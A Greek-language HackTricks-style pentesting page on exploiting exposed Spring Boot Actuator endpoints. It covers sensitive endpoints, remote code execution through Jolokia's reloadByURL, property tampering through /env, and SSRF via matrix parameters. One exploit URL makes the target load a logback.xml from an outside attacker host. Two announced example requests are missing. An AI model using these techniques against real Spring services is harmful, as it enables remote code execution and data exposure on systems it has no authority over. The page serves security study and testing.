Spring Actuators
Last updated
Last updated
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Από https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****
Ελέγξτε την αρχική ανάρτηση από [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Οι Spring Boot Actuators καταχωρούν endpoints όπως /health
, /trace
, /beans
, /env
, κ.λπ. Σε εκδόσεις 1 έως 1.4, αυτά τα endpoints είναι προσβάσιμα χωρίς αυθεντικοποίηση. Από την έκδοση 1.5 και μετά, μόνο τα /health
και /info
είναι μη ευαίσθητα από προεπιλογή, αλλά οι προγραμματιστές συχνά απενεργοποιούν αυτή την ασφάλεια.
Ορισμένα endpoints Actuator μπορούν να εκθέσουν ευαίσθητα δεδομένα ή να επιτρέψουν επιβλαβείς ενέργειες:
/dump
, /trace
, /logfile
, /shutdown
, /mappings
, /env
, /actuator/env
, /restart
, και /heapdump
.
Στο Spring Boot 1.x, οι actuators καταχωρούνται κάτω από τη ρίζα URL, ενώ στο 2.x, βρίσκονται κάτω από τη βάση /actuator/
.
Απομακρυσμένη Εκτέλεση Κώδικα μέσω '/jolokia':
Το endpoint /jolokia
εκθέτει τη βιβλιοθήκη Jolokia, η οποία επιτρέπει HTTP πρόσβαση σε MBeans.
Η ενέργεια reloadByURL
μπορεί να εκμεταλλευτεί για να επαναφορτώσει τις ρυθμίσεις καταγραφής από μια εξωτερική διεύθυνση URL, γεγονός που μπορεί να οδηγήσει σε τυφλό XXE ή απομακρυσμένη εκτέλεση κώδικα μέσω κατασκευασμένων XML ρυθμίσεων.
Παράδειγμα URL εκμετάλλευσης: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
.
Τροποποίηση Ρυθμίσεων μέσω '/env':
Εάν υπάρχουν βιβλιοθήκες Spring Cloud, το endpoint /env
επιτρέπει την τροποποίηση περιβαλλοντικών ιδιοτήτων.
Οι ιδιότητες μπορούν να χειριστούν για να εκμεταλλευτούν ευπάθειες, όπως η ευπάθεια αποσυμπίεσης XStream στην υπηρεσία Eureka serviceURL.
Παράδειγμα αίτησης POST εκμετάλλευσης:
Άλλες Χρήσιμες Ρυθμίσεις:
Ιδιότητες όπως spring.datasource.tomcat.validationQuery
, spring.datasource.tomcat.url
, και spring.datasource.tomcat.max-active
μπορούν να χειριστούν για διάφορες εκμεταλλεύσεις, όπως SQL injection ή τροποποίηση συμβολοσειρών σύνδεσης βάσης δεδομένων.
Μια ολοκληρωμένη λίστα με τους προεπιλεγμένους actuators μπορεί να βρεθεί εδώ.
Το endpoint /env
στο Spring Boot 2.x χρησιμοποιεί μορφή JSON για την τροποποίηση ιδιοτήτων, αλλά η γενική έννοια παραμένει η ίδια.
Env + H2 RCE:
Λεπτομέρειες σχετικά με την εκμετάλλευση του συνδυασμού του endpoint /env
και της βάσης δεδομένων H2 μπορούν να βρεθούν εδώ.
SSRF στο Spring Boot μέσω Λανθασμένης Ερμηνείας Ονόματος Διαδρομής:
Η διαχείριση παραμέτρων μήτρας (;
) από το πλαίσιο Spring σε διαδρομές HTTP μπορεί να εκμεταλλευτεί για Server-Side Request Forgery (SSRF).
Παράδειγμα αίτησης εκμετάλλευσης:
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)